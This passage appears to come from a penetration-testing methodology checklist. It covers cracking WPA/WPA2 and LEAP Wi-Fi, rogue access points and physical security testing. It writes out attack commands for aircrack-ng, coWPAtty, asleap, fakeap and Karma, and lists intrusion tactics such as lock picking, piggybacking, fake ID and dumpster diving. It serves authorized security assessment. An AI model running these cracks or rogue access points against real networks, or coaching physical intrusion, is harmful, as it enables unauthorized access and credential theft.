void11_penetration [interface] -D -s [type of attack] -s [station MAC] -S [SSID] -B [BSSID]

WPA / WPA2 encrypted WLAN

Deauth client
Capture EAPOL handshake
WPA / WPA 2 dictionary attack
coWPAtty
./cowpatty -r [pcap file] -f [wordlist] -s [SSID]
./genpmk -f dictionary_file -d hashfile_name -s ssid
./cowpatty -r cature_file.cap -d hashfile_name -s ssid
Aircrack-ng
aircrack-ng -a 2 -w [wordlist] [pcap file]
LEAP encrypted WLAN
Deauth client
Break LEAP
asleap
./asleap -r data/libpcap_packet_capture_file.dump -f output_pass+hash file.dat -n output_index_filename.idx
./genkeys -r dictionary_file -f output_pass+hash file.dat -n output_index_filename.idx
THC-LEAPcracker

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leap-cracker -f [wordlist] -t [NT challenge response] -c [challenge]

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802.1x WLAN
Create Rogue Access Point
Airsnarf
Deauth client
Associate client
Compromise client
Acquire passphrase / certificate
wzcook
Obtain user's certificate
fake ap
perl fakeap.pl --interface wlan0
perl fakeap.pl --interface wlan0 --channel 11 --essid fake_name --wep 1 --key [WEP KEY]
Hotspotter
Deauth client
Associate client
Compromise client
Acquire passphrase / certificate
wzcook
Obtain user's certificate
Karma
Deauth client
Associate client
Compromise client
Acquire passphrase / certificate
wzcook
Obtain user's certificate
./bin/karma etc/karma-lan.xml
Linux rogue AP
Deauth client
Associate client
Compromise client
Acquire passphrase / certificate
wzcook
Obtain user's certificate
Resources
URL's
Wirelessdefence.org
Russix
Wardrive.net
Wireless Vulnerabilities and Exploits (WVE)
White Papers
Weaknesses in the Key Scheduling Algorithm of RC4
802.11b Firmware-Level Attacks
Wireless Attacks from an Intrusion Detection Perspective
Implementing a Secure Wireless Network for a Windows Environment
Breaking 104 bit WEP in less than 60 seconds
PEAP Shmoocon2008 Wright & Antoniewicz
Active behavioral fingerprinting of wireless devices
Common Vulnerabilities and Exploits (CVE)
Vulnerabilties and exploit information relating to these products can be found here: http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=wireless
Physical Security
Building Security
Meeting Rooms
Check for active network jacks.
Check for any information in room.
Lobby
Check for active network jacks.
Does receptionist/guard leave lobby?
Accessbile printers? Print test page.
Obtain phone/personnel listing.
Communal Areas
Check for active network jacks.
Check for any information in room.
Listen for employee conversations.
Room Security
Resistance of lock to picking.
What type of locks are used in building? Pin tumblers, padlocks, abinet locks, dimple keys, proximity sensors?
Ceiling access areas.
Can you enter the ceiling space (above a suspended ceiling) and enter secured rooms?
Windows
Check windows/doors for visible intruderalarm sensors.
Check visible areas for sensitive information.

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Can you video users logging on?

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Perimeter Security
Fence Security
Attempt to verify that the whole of the perimeter fence is unbroken.
Exterior Doors
If there is no perimeter fence, then determineif exterior doors are secured, guarded andmonitored etc.
Guards
Patrol Routines
Analyse patrol timings to ascertain if any holes exist in the coverage.
Communications
Intercept and analyse guard communications. Determine if the communication methods can be used to aid a physial intrusion.
Entry Points
Guarded Doors
Piggybacking
Attempt to closely follow employees into thebuilding without having to show valid credentials.
Fake ID
Attempt to use fake ID to gain access.
Access Methods
Test 'out of hours' entry methods
Unguarded Doors
Identify all unguardedentry points.
Are doors secured?
Check locks for resistance to lock picking.
Windows
Check windows/doors for visible intruderalarm sensors.
Attempt to bypass sensors.
Check visible areas for sensitive information.
Office Waste
Dumpster DivingAttempt to retrieve any useful information from ToE refuse. This may include : printed documents, books, manuals, laptops, PDA's, USB memory
devices, CD's, Floppy discs etc
Final Report - template
Contributors
Matt Byrne (WirelessDefence.org)
Matt contributed the majority of the Wireless section.
Arvind Doraiswamy (Paladion.net)
Arvind kindly contributed to the associated MySQL section when coming across TCP Port 3306 open.
Lee Lawson (Dns.co.uk)
Lee contributed the majority of the Cisco and Social Engineering sections.
Nabil OUCHN (Security-database.com)
Nabil contributed the AS/400 section.

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